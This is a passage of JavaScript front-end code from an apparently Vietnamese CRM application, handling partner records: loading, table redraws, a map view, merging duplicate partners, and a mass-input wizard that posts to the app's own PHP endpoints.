                k = partnerDic[data_module.partner_class_links.items[i].partnerid];
                if (k >= 0) {
                    data_module.partner.items[k].class.push(data_module.partner_class_links.items[i].classid);
                }
            }
            var classDic = contentModule.makeDictionaryIndex(data_module.partner_class.items);
            var ni, cIndex;
            for (var i = 0; i < data_module.partner.items.length; i++){
                data_module.partner.items[i].className = "";
                for (var j = 0; j < data_module.partner.items[i].class.length; j++){
                    ni = data_module.partner.items[i].class[j];
                    cIndex = classDic[ni];
                    if (cIndex >= 0) {
                        data_module.partner.items[i].className += ", " + data_module.partner_class.items[cIndex].name;
                    }
                }
                if (data_module.partner.items[i].class.length > 0){
                    data_module.partner.items[i].className = data_module.partner.items[i].className.substr(2);
                }
            }
        }
    } (xhost);
    data_module.loadPartnerFunc({
        finalize: function (host) {
            return function (content) {
                host.ffunc(content);
                host.host.done = 1;
                host.callbackfunc(host.host);
            }
        } (xhost),
        process: function (host) {
            return function (content) {
                var st;
                var i, n;
                console.log(content.finished);
                host.host.done = (content.finished) ? 1 : 0;
                st = {
                    partner: content.partner,
                    partner_class_links: content.partner_class_links,
                    user_marked: host.host.database.user_marked.items
                }
                var x = {
                    database: {}
                };
                contentModule.makeDatabaseContent(x, st);
                contentModule.makePartnerData(x);
                contentModule.makePartnerClassLinksData(x);
                contentModule.makeUserMarkerData(host.host, "partner");
                host.host.data_container.insertData(x.database.partner.items);
                host.host.database.partner.items = host.host.database.partner.items.concat(x.database.partner.items);
                host.host.database.partner_class_links.items = host.host.database.partner.items.concat(x.database.partner_class_links.items);
                if (host.first_content == 1) {
                    host.first_content = 0;
                    ModalElement.close(-1);
                }
            }
        } (xhost),
        sort: true
    })
};

hr.partner.redraw = function(host){
    host.dataContentTable = {
        database: host.database,
        inputsearchbox: host.inputsearchbox,
        marked_view_elt: host.marked_view_elt,
        ctn: host.data_container,
        form_config: host.form_config,
        user_column_configsDic: host.user_column_configsDic,
        partner_class_select: host.partner_class_select,
        nation_cities_select: host.nation_cities_select,
        inputidboxes: host.inputidboxes,
        listPartnerMerge: host.listPartnerMerge,
        merge_ing: host.merge_ing,
        getCellPartner: function(item){
            return hr.partner.getCellPartner(host, item);
        }
    };
    theme.formPartnerContentData(host.dataContentTable);
};

hr.partner.viewMaps = function(host){
    if (!host.done){
        setTimeout(function(){
            hr.partner.viewMaps(host);
        }, 50);
        return;
    }
    ModalElement.close(-1);
    var points = [];
    theme.formPartnerViewMaps({
        nation_city: host.nation_cities_select.value,
        classid : host.partner_class_select.value,
        database: host.database,
        frameList: host.frameList
    });
};

hr.partner.mergeSubmit = function(host, list, data, extra){
    var mainData = contentModule.getPartnerMainData();
    var value = {};
    for (var x in mainData){
        value[mainData[x]] = data[x];
        delete data[x];
    }
    value.extrainfo = data;
    var idList = [];
    var nameList = [];
    for (var i = 0; i < list.length; i++){
        idList.push(list[i].id);
        nameList.push({name: list[i].name, fullname: list[i].fullname});
    }
    if (value.nation_city){
        value.nationid = value.nation_city[0];
        value.cityid = value.nation_city[1];
    }
    else {
        value.nationid = 0;
        value.cityid = 0;
    }
    value.extrainfo = EncodingClass.string.fromVariable(value.extrainfo);
    ModalElement.show_loading();
    FormClass.api_call({
        url: "partner_merge_save.php",
        params: [
            {name: "data", value: EncodingClass.string.fromVariable(value)},
            {name: "idList", value: EncodingClass.string.fromVariable(idList)},
            {name: "extra", value: EncodingClass.string.fromVariable(extra)},
            {name: "nameList", value: EncodingClass.string.fromVariable(nameList)}
        ],
        func: function(success, message){
            ModalElement.close(-1);
            if (success){
                if (message.substr(0, 2) == "ok"){
                    var st = EncodingClass.string.toVariable(message.substr(2));
                    st.class = value.class;
                    var idDic = {};
                    for (var i = 0; i < idList.length; i++){
                        idDic[idList[i]] = true;
                    }
                    host.database.partner.items = host.database.partner.items.filter(function(item){
                        return !idDic[item.id];
                    });
                    host.database.partner.items.unshift(st);
                    host.frameList.removeLast();
                    host.listPartnerMerge = {};
                    host.inputidboxes = {};
                    hr.partner.redraw(host);
                    data_module.loadDataPartnerGlobal();
                    if (data_module.contactReady){
                        for (var i = 0; i < data_module.contact.items.length; i++){
                            if (idDic[data_module.contact.items[i].partnerid]) data_module.contact.items[i].partnerid = st.id;
                        }
                    }
                    var randomId = contentModule.generateRandom();
                    data_module.listMessRandomCreate[randomId] = true;
                    hr.sendMessageFunc({
                        messageType: "change_data_module",
                        table: "partner",
                        randomId: randomId
                    });
                    hr.sendMessageFunc({
                        messageType: "change_data_module",
                        table: "contact",
                        randomId: randomId
                    });
                }
                else if (message == "deleted"){
                    data_module.loadDataPartnerGlobal();
                    ModalElement.alert({
                        message: LanguageModule.text("war_txt_failed_ver_reload_data")
                    });
                }
                else {
                    ModalElement.alert({message: message});
                }
            }
            else {
                ModalElement.alert({message: message});
            }
        }
    });
};

hr.partner.redrawMerge = function(host, list){
    var dict = {};
    host.database.typelists.items.forEach(function (elt, index) {
        dict[elt.id] = elt;
    });
    var mainData = contentModule.getMainData(host.form_config.partner.typeid, dict);
    var listData = [], data;
    for (var i = 0; i < list.length; i++){
        data = {};
        for (var x in mainData){
            data[x] = list[i][mainData[x]];
        }
        for (var x in list[i].extrainfo){
            data[x] = list[i].extrainfo[x];
        }
        listData.push(data);
    }
    var drawExtraInforFunc = function(classValue){
        DOMElement.removeAllChildren(extra_infor_ctn);
        var extraList = [];
        if (classValue.length == 0) ModalElement.close(-1);
        var listP = [];
        classValue.forEach(function(item){
            listP.push(new Promise(function(rs, rj){
                var k, tid, dataExtra;
                k = host.database.partner_class.getIndex(item);
                if (k >= 0){
                    dataExtra = [];
                    tid = host.database.partner_class.items[k].type_extra;
                    var promiseList = [];
                    for (var j = 0; j < list.length; j++){
                        if (list[j].class.indexOf(item) >= 0){
                            promiseList.push(hr.partner.loadExtraDataByTypeid(host, list[j].id, tid).then(function(value){
                                if (value.id > 0){
                                    dataExtra.push(value.data);
                                }
                            }));
                        }
                    }
                    if (promiseList.length > 0){
                        Promise.all(promiseList).then(function(){
                            if (dataExtra.length > 0){
                                contentModule.getFieldsMergeByTypeID(host, host.database.partner_class.items[k].type_extra).then(function(descriptor){
                                    descriptor.displayName = LanguageModule.text("txt_data_extra") + " (" + host.database.partner_class.items[k].name + ")";
                                    var x = absol.buildDom({
                                        tag: 'objectmergetool',
                                        props: {
                                            objects: dataExtra,
                                            descriptor: descriptor
                                        }
                                    });
                                    extra_infor_ctn.appendChild(x);
                                    extraList.push({
                                        typeid: host.database.partner_class.items[k].type_extra,
                                        mTool: x
                                    });
                                });
                                rs();
                            }
                            else {
                                rs();
                            }
                        });
                    }
                    else rs();
                }
            }));
        });
        Promise.all(listP).then(function(){
            ModalElement.close(-1);
            extra_infor_ctn.getValue = function(){
                var data = [];
                for (var i = 0; i < extraList.length; i++){
                    data.push({
                        typeid: extraList[i].typeid,
                        data: extraList[i].mTool.data
                    });
                }
                return data;
            };
        });
    };
    var mTool;
    host.typelistsDic = contentModule.makeDictionaryIndex(host.database.typelists.items);
    host.change_partner_class_func = function(classValue){
        ModalElement.show_loading();
        drawExtraInforFunc(classValue);
    };
    ModalElement.show_loading();
    contentModule.getFieldsMergeByTypeID(host, host.form_config.partner.typeid).then(function(descriptor){
        descriptor.displayName = LanguageModule.text("txt_general_information");
        mTool = absol.buildDom({
            tag: 'objectmergetool',
            props: {
                objects: listData,
                descriptor: descriptor
            }
        });
        general_infor_ctn.appendChild(mTool);
    });
    var general_infor_ctn = DOMElement.div({});
    var extra_infor_ctn = DOMElement.div({});
    var data_ctn = DOMElement.div({
        children: [
            general_infor_ctn,
            extra_infor_ctn
        ]
    });
    drawExtraInforFunc(list[0].class);
    var singlePage = absol.buildDom({
        tag: "singlepage",
        child: [
            DOMElement.div({
                attrs: {className: 'button-panel-header absol-single-page-header'},
                children: [
                    DOMElement.div({
                        attrs: {className: "single-button-header"},
                        children: [theme.backButton({
                            onclick: function(){
                                host.frameList.removeLast();
                            }
                        })]
                    }),
                    DOMElement.div({
                        attrs: {className: "single-button-header"},
                        children: [theme.saveButton({
                            onclick: function(){
                                hr.partner.mergeSubmit(host, list, mTool.data, extra_infor_ctn.getValue());
                            }
                        })]
                    })
                ]
            }),
            data_ctn
        ]
    });
    host.frameList.addChild(singlePage);
    singlePage.requestActive();
};

hr.partner.merge = function(host){
    if (host.merge_ing){
        ModalElement.close(-1);
        var list = [];
        for (var i = 0; i < host.database.partner.items.length; i++){
            if (host.inputidboxes[host.database.partner.items[i].id] && host.inputidboxes[host.database.partner.items[i].id].checked){
                list.push(host.database.partner.items[i]);
            }
        }
        if (list.length < 2){
            ModalElement.alert({message: "Bạn phải chọn ít nhất 2 đối tác để trộn"});
            return;
        }
        hr.partner.redrawMerge(host, list);
    }
    else {
        if (!host.dataContentTable.tableView){
            setTimeout(function(){
                hr.partner.merge(host);
            }, 50);
            return;
        }
        ModalElement.close(-1);
        host.dataContentTable.tableView.hiddenColumns = [];
        host.merge_ing = true;
        host.back_btn_ctn.classList.remove("hidden");
        host.close_btn_ctn.classList.add("hidden");
        host.add_btn_ctn.classList.add("hidden");
        host.view_maps_btn_ctn.classList.add("hidden");
    }
};

hr.partner.massInput = function(host){
    var navItems = [
        {text: LanguageModule.text("txt_filter_partner")},
        {text: LanguageModule.text("txt_input_data")},
        {text: LanguageModule.text("txt_finished")}
    ];
    var vTimeline = absol.buildDom({
        tag: 'verticaltimeline',
        props: {
            items: navItems
        }
    });
    var nation_cities_select = absol.buildDom({
        tag: "dualselectmenu",
        props: {
            items: host.nation_cities_select.items,
            value: host.nation_cities_select.value,
            enableSearch: true
        }
    });
    var partnerItems = host.partner_class_select.items;
    partnerItems[0].text = LanguageModule.text("txt_select_value");
    var partner_class_select = absol.buildDom({
        tag: "selectmenu",
        props: {
            items: partnerItems,
            value: host.partner_class_select.value,
            enableSearch: true
        }
    });
    var filterPageCtn = DOMElement.div({
        attrs: {
            className: 'kv-document-2-site-right kv-document-page'
        },
        children: [
            absol.buildDom({
                class: 'kv-document-page-header',
                child: [
                    {
                        tag: 'span',
                        class: 'kv-document-page-title',
                        child: { text: LanguageModule.text("txt_filter_partner") }
                    },
                    {
                        tag: 'button',
                        class: ['kv-document-transparent-btn', 'kv-document-page-close-btn'],
                        child: 'span.mdi.mdi-close',
                        on: {
                            click: function(){
                                ModalElement.close();
                            }
                        }
                    }
                ]
            }),
            DOMElement.div({
                attrs: {className: "kv-document-page-content"},
                children: [
                    DOMElement.div({
                        attrs: {style: {height: "var(--control-height)", lineHeight: "var(--control-height)", fontWeight: "bold"}},
                        text: LanguageModule.text("txt_set_partner_filters_to_mass_input")
                    }),
                    DOMElement.div({
                        children: [
                            DOMElement.div({
                                attrs: {
                                    className: "card-mobile-label-form-edit"
                                },
                                text: LanguageModule.text("txt_nationcity")
                            }),
                            nation_cities_select,
                            DOMElement.div({
                                attrs: {
                                    className: "card-mobile-label-form-edit"
                                },
                                text: LanguageModule.text("txt_partner_class")
                            }),
                            partner_class_select
                        ]
                    })
                ]
            }),
            absol.buildDom({
                class: 'kv-document-page-footer',
                child: [
                    DOMElement.div({attrs: {className: "kv-document-page-footer-left"}}),
                    DOMElement.div({
                        attrs: {className: "kv-document-page-footer-right"},
                        children: [
                            theme.noneIconButton({
                                className: "primary",
                                text: LanguageModule.text("txt_next"),
                                onclick: function(){
                                    var partner_classid = partner_class_select.value;
                                    if (partner_classid == 0){
                                        ModalElement.alert({message: LanguageModule.text("war_txt_partner_class_is_null")});
                                        return;
                                    }
                                    vTimeline.current = 1;
                                    filterPageCtn.style.display = "none";
                                    inputDataPageCtn.style.display = "";
                                    redrawInputDataPage(partner_classid);
                                }
                            }),
                            DOMElement.div({
                                attrs: {
                                    className: "kv-document-link",
                                    onclick: function(){
                                        ModalElement.close();
                                    }
                                },
                                text: LanguageModule.text("txt_cancel")
                            })
                        ]
                    })
                ]
            })
        ]
    });
    var redrawInputDataPage = function(partner_classid){
        var pIndex = host.database.partner_class.getIndex(partner_classid);
        var data_ctn = DOMElement.div({});
        var typeDic = contentModule.makeDictionaryIndex(host.database.typelists.items);
        var items = [{value: 0, text: LanguageModule.text("txt_select_value")}];
        if (host.database.partner_class.items[pIndex].type_extra != 0){
            var columnList = contentModule.getColumnListFromTypeid(host, host.database.partner_class.items[pIndex].type_extra, {}, true);
            columnList.forEach(function(item){
                var tIndex = typeDic[item.type];
                var type = host.database.typelists.items[tIndex].type;
                if (type == "enum" || type == "extends_enum" || host.database.typelists.items[tIndex].type2 == "enum"){
                    items.push({
                        value: item.value,
                        text: item.text
                    });
                }
            });
        }
        var field_select = absol.buildDom({
            tag: "selectmenu",
            props: {
                items: items,
                enableSearch: true
            },
            on: {
                change: function(){
                    var itemsList = [{value: 0, text: LanguageModule.text("txt_select_value")}];
                    if (this.value != 0){
                        var t;
                        for (var i = 0; i < columnList.length; i++){
                            if (columnList[i].value == this.value){
                                t = columnList[i].type;
                            }
                        }
                        if (t){
                            var x = [];
                            contentModule.getDetailsExtends(host, x, t);
                            for (var i = 0; i < x.length; i++){
                                itemsList.push({value: x[i].localid, text: x[i].text});
                            }
                        }
                    }
                    DOMElement.removeAllChildren(data_ctn);
                    var elt = absol.buildDom({
                        tag: "selectmenu",
                        props: {
                            items: itemsList,
                            enableSearch: true
                        }
                    });
                    data_ctn.appendChild(elt);
                    data_ctn.getValue = function(){
                        var value = elt.value;
                        if (value == 0){
                            ModalElement.alert({message: "Chưa chọn giá trị"});
                            return;
                        }
                        var text;
                        for (var i = 0; i < elt.items.length; i++){
                            if (elt.items[i].value == value){
                                text = elt.items[i].text;
                                break;
                            }
                        }
                        return {
                            value: value,
                            text: text
                        };
                    };
                }
            }
        });
        DOMElement.removeAllChildren(input_data_ctn);
        input_data_ctn.appendChild(DOMElement.table({
            data: [
                [
                    {text: "Trường thay đổi"},
                    {attrs: {style: {width: "var(--control-horizontal-distance-2)"}}},
                    field_select
                ],
                [{attrs: {style: {height: "var(--control-verticle-distance-2)"}}}],
                [
                    {text: "Dữ liệu"},
                    {attrs: {style: {width: "var(--control-horizontal-distance-2)"}}},
                    data_ctn
                ]
            ]
        }));
        input_data_ctn.getValue = function(){
            var field = field_select.value;
            if (field == 0){
                ModalElement.alert({message: "Chưa chọn trường dữ liệu"});
                return;
            }
            var input = data_ctn.getValue();
            if (!input) return;
            var field_text;
            for (var i = 0; i < field_select.items.length; i++){
                if (field_select.items[i].value == field){
                    field_text = field_select.items[i].text;
                    break;
                }
            }
            return {
                field: field,
                field_text: field_text,
                input: input.value,
                input_text: input.text
            };
        };
    };
    var input_data_ctn = DOMElement.div({
        attrs: {
            className: 'kv-document-page-content'
        }
    });
    var inputDataPageCtn = DOMElement.div({
        attrs: {
            className: 'kv-document-2-site-right kv-document-page',
            style: {display: "none"}
        },
        children: [
            absol.buildDom({
                class: 'kv-document-page-header',
                child: [
                    {
                        tag: 'span',
                        class: 'kv-document-page-title',
                        child: { text: LanguageModule.text("txt_input_data") }
                    },
                    {
                        tag: 'button',
                        class: ['kv-document-transparent-btn', 'kv-document-page-close-btn'],
                        child: 'span.mdi.mdi-close',
                        on: {
                            click: function(){
                                ModalElement.close();
                            }
                        }
                    }
                ]
            }),
            input_data_ctn,
            absol.buildDom({
                class: 'kv-document-page-footer',
                child: [
                    DOMElement.div({
                        attrs: {className: "kv-document-page-footer-left"},
                        children: [
                            theme.noneIconButton({
                                text: LanguageModule.text("txt_back"),
                                onclick: function(){
                                    vTimeline.current = 0;
                                    filterPageCtn.style.display = "";
                                    inputDataPageCtn.style.display = "none";
                                }
                            })
                        ]
                    }),
                    DOMElement.div({
                        attrs: {className: "kv-document-page-footer-right"},
                        children: [
                            theme.noneIconButton({
                                className: "primary",
                                text: LanguageModule.text("txt_start"),
                                onclick: function(){
                                    var saveFunc = function(){
                                        if (!host.done){
                                            setTimeout(function(){
                                                saveFunc();
                                            }, 50);
                                            return;
                                        }
                                        var partnerIDList = [];
                                        var nation_city = nation_cities_select.value;
                                        var classid = partner_class_select.value;
                                        host.database.partner.items.forEach(function(partnerItem){
                                            var view = true;
                                            if (nation_city[0] != 0){
                                                if (partnerItem.nationid != nation_city[0]) view = false;
                                                else if (nation_city[1] != 0 && nation_city[1] != partnerItem.cityid) view = false;
                                            }
                                            if (view){
                                                if (partnerItem.class.indexOf(classid) < 0) view = false;
                                            }
                                            if (view) partnerIDList.push(partnerItem.id);
                                        });
                                        if (partnerIDList.length == 0){
                                            ModalElement.close(-1);
                                            DOMElement.removeAllChildren(finishElt);
                                            finishElt.appendChild(DOMElement.span({
                                                text: LanguageModule.text2("txt_you_mass_input_for_partner", [0])
                                            }));
                                            vTimeline.current = 2;
                                            inputDataPageCtn.style.display = "none";
                                            finishPageCtn.style.display = "";
                                            return;
                                        }
                                        partnerIDList.sort(function(a, b){
                                            return a - b;
                                        });
                                        var pIndex = host.database.partner_class.getIndex(classid);
                                        var data = {
                                            partnerIDList: partnerIDList,
                                            input_data: input_data.input,
                                            field: input_data.field,
                                            typeid: host.database.partner_class.items[pIndex].type_extra
                                        };
                                        if (host.database.partner_class.items[pIndex].type_extra != 0){
                                            var typeDict = {};
                                            host.database.typelists.items.forEach(function(elt){
                                                typeDict[elt.id] = elt;
                                            });
                                            data.defaultData = contentModule.makeDefaultData(host, host.database.partner_class.items[pIndex].type_extra, typeDict[host.database.partner_class.items[pIndex].type_extra], typeDict);
                                            data.defaultData[input_data.field] = input_data.value;
                                        }
                                        var dataLogs = {
                                            field_text: input_data.field_text,
                                            input_data_text: input_data.input_text,
                                            input_data: input_data.input,
                                            field: input_data.field,
                                            typeid: host.database.partner_class.items[pIndex].type_extra
                                        };
                                        FormClass.api_call({
                                            url: "partner_mass_input.php",
                                            params: [
                                                {name: "data", value: EncodingClass.string.fromVariable(data)},
                                                {name: "dataLogs", value: EncodingClass.string.fromVariable(dataLogs)}
                                            ],
                                            func: function(success, message){
                                                ModalElement.close(-1);
                                                if (success){
                                                    if (message.substr(0, 2) == "ok"){
                                                        var count = parseInt(message.substr(2), 10);
                                                        DOMElement.removeAllChildren(finishElt);
                                                        finishElt.appendChild(DOMElement.span({
                                                            text: LanguageModule.text2("txt_you_mass_input_for_partner", [partnerIDList.length])
                                                        }));
                                                        vTimeline.current = 2;
                                                        inputDataPageCtn.style.display = "none";
                                                        finishPageCtn.style.display = "";
                                                        var partnerDic = contentModule.makeDictionaryIndex(host.database.partner.items);
                                                        var k;
                                                        for (var i = 0; i < partnerIDList.length; i++){
                                                            k = partnerDic[partnerIDList[i]];
                                                            if (k >= 0){
                                                                if (host.database.partner.items[k].extra_data){
                                                                    host.database.partner.items[k].extra_data[input_data.field] = input_data.value;
                                                                }
                                                                else {
                                                                    host.database.partner.items[k].extra_data = data.defaultData;
                                                                }
                                                            }
                                                        }
                                                    }
                                                    else {
                                                        ModalElement.alert({message: message});
                                                    }
                                                }
                                                else {
                                                    ModalElement.alert({message: message});
                                                }
                                            }
                                        });
                                    };
                                    var input_data = input_data_ctn.getValue();
                                    if (!input_data) return;
                                    ModalElement.show_loading();
                                    saveFunc();
                                }
                            }),
                            DOMElement.div({
                                attrs: {
                                    className: "kv-document-link",
                                    onclick: function(){
                                        ModalElement.close();
                                    }
                                },
                                text: LanguageModule.text("txt_cancel")
                            })
                        ]
                    })
                ]
            })
        ]
    });
    var finishElt = DOMElement.div({attrs: {align: "center", paddingTop: "50px", fontWeight: "bold"}});
    var finishPageCtn = DOMElement.div({
        attrs: {
            className: 'kv-document-2-site-right kv-document-page',
            style: {display: "none"}
        },
        children: [
            absol.buildDom({
                class: 'kv-document-page-header',
                child: [
                    {
                        tag: 'span',
                        class: 'kv-document-page-title',
                        child: { text: LanguageModule.text("txt_finished") }
                    },
                    {
                        tag: 'button',
                        class: ['kv-document-transparent-btn', 'kv-document-page-close-btn'],
                        child: 'span.mdi.mdi-close',
                        on: {
                            click: function(){
                                ModalElement.close();
                            }
                        }
                    }
                ]
            }),
            DOMElement.div({
                attrs: {
                    className: 'kv-document-page-content'
                },
                children: [finishElt]
            }),
            absol.buildDom({
                class: 'kv-document-page-footer',
                child: [
                    DOMElement.div({
                        attrs: {className: "kv-document-page-footer-left"}
                    }),
                    DOMElement.div({
                        attrs: {className: "kv-document-page-footer-right"},
                        children: [
                            theme.noneIconButton({
                                className: "primary",
                                text: LanguageModule.text("txt_close"),
                                onclick: function(){
                                    ModalElement.close();
                                }
                            })
                        ]
                    })
                ]
            })
        ]
    });
    ModalElement.show({
        bodycontent: absol.buildDom({
            class: 'kv-document-2-site',
            style: {
                minWidth: "50vw",
                height: "70vh"
            },
            child: [
                {
                    class: 'kv-document-2-site-left',
                    child: [
                        {
                            class: 'kv-document-2-site-left-header',
                            child: [
                                {
                                    tag: 'span',
                                    class: 'kv-document-2-site-left-header-text',
                                    child: { text: LanguageModule.text("txt_mass_input") }
                                }
                            ]
                        },
                        vTimeline
                    ]
                },
                filterPageCtn,
                inputDataPageCtn,
                finishPageCtn
            ]
        })
    });
};

hr.partner.init = function(host){
    return new Promise(function(resolveMn, rejectMn){
        hr.menu.changeCurrentUrlTab(host, "partner");
        host.database = {};
        var loadPartner = ((!data_module.partnerReady) || (data_module.partner === undefined) || (data_module.partner_class_links === undefined) || (data_module.partner_class === undefined));
        host.listPartnerMerge = {};
        host.merge_ing = false;
        host.inputidboxes = {};
        ModalElement.show_loading();
        FormClass.api_call({
            url: "database_load.php",
            params: [
                //{name: "task", value: loadPartner? "partner_load_init": "partner_load_init_no_load_partner"}
                {name: "task", value: "partner_load_init"}
            ],
            func: function(success, message) {
                if (success) {
                    if (message.substr(0, 2) == "ok") {
                        var content = EncodingClass.string.toVariable(message.substr(2));
                        host.done = content.done;
                        delete content.done;
                        host.employeeOfMe = content.employeeOfMe;
                        delete content.employeeOfMe;
                        contentModule.makeDatabaseContent(host, content);
                        if (!loadPartner) {
                            contentModule.makeDatabaseContent(host, {
                                partner: EncodingClass.string.duplicate(data_module.partner.items),
                                partner_class_links: EncodingClass.string.duplicate(data_module.partner_class_links.items),
                                partner_class: EncodingClass.string.duplicate(data_module.partner_class.items)
                            });
                        }
                        contentModule.makeCitiesIndex(host);
                        contentModule.makePartnerData(host);
                        contentModule.makePartnerClassLinksData(host);
                        if (EncodingClass.type.isFunction(host.database["partner"].items.map)) contentModule.makeUserMarkerData(host, "partner");
                        if (!loadPartner) {
                            host.database.partner.items.sort(function(a, b){
                                if (b.marked > a.marked) return 1;
                                if (b.marked < a.marked) return -1;
                                return a.name - b.name;
                            });
                        }
                        host.form_config = contentModule.configVariable(host);
                        host.user_column_configsDic = contentModule.getUser_column_configsDic(host);
                        var cmdbutton = {
                            close: function (host) {
                                return function (event, me) {
                                    host.cancel = true;
                                    if (hr.isMobile) {
                                        host.holder.selfRemove();
                                        hr.menu.loadPage(1000);
                                    }
                                    else {
                                        hr.menu.tabPanel.removeTab(host.holder.id);
                                    }
                               }
                            } (host),
                            add: function (event, me) {
                                hr.partner.addPartner(host, 0);
                            },
                            view_maps: function(){
                                ModalElement.show_loading();
                                hr.partner.viewMaps(host);
                            },
                            merge: function(){
                                ModalElement.show_loading();
                                hr.partner.merge(host);
                            },
                            back: function(){
                                host.dataContentTable.tableView.hiddenColumns = [1];
                                host.merge_ing = false;
                                host.back_btn_ctn.classList.add("hidden");
                                host.close_btn_ctn.classList.remove("hidden");
                                host.add_btn_ctn.classList.remove("hidden");
                                host.view_maps_btn_ctn.classList.remove("hidden");
                            }
                        };
                        if (systemconfig.privSystem >= 2) {
                            cmdbutton.mass_input = function() {
                                hr.partner.massInput(host);
                            }
                        };
                        host.data_container = DOMElement.div({});
                        host.holder.addChild(host.frameList);
                        var singlePage = theme.formPartnerInit({
                            cmdbutton: cmdbutton,
                            database: host.database,
                            data_container: host.data_container,
                            func: {
                                export: function(){
                                    ModalElement.show_loading();
                                    hr.partner.export(host);
                                }
                            }
                        });
                        host.nation_cities_select = singlePage.nation_cities_select;
                        host.partner_class_select = singlePage.partner_class_select;
                        host.inputsearchbox = singlePage.inputsearchbox;
                        host.marked_view_elt = singlePage.marked_view_elt;
                        host.close_btn_ctn = singlePage.close_btn_ctn;
                        host.back_btn_ctn = singlePage.back_btn_ctn;
                        host.add_btn_ctn = singlePage.add_btn_ctn;
                        host.view_maps_btn_ctn = singlePage.view_maps_btn_ctn;
                        host.frameList.addChild(singlePage);
                        singlePage.requestActive();
                        hr.partner.redraw(host);
                        if (loadPartner) {
                            hr.partner.loadLazyData(host, function (resolveMn, host) {
                                return function () {
                                    resolveMn(host);
                                }
                            } (resolveMn, host));
                        }
                        else {
                            host.done = 1;
                            ModalElement.close(-1);
                            resolveMn(host);
                        }
                    }
                    else {
                        ModalElement.alert({message: message});
                    }
                }
                else {
                    ModalElement.alert({message: message});
                }
            }
        });
    });
};

VaKeR 2022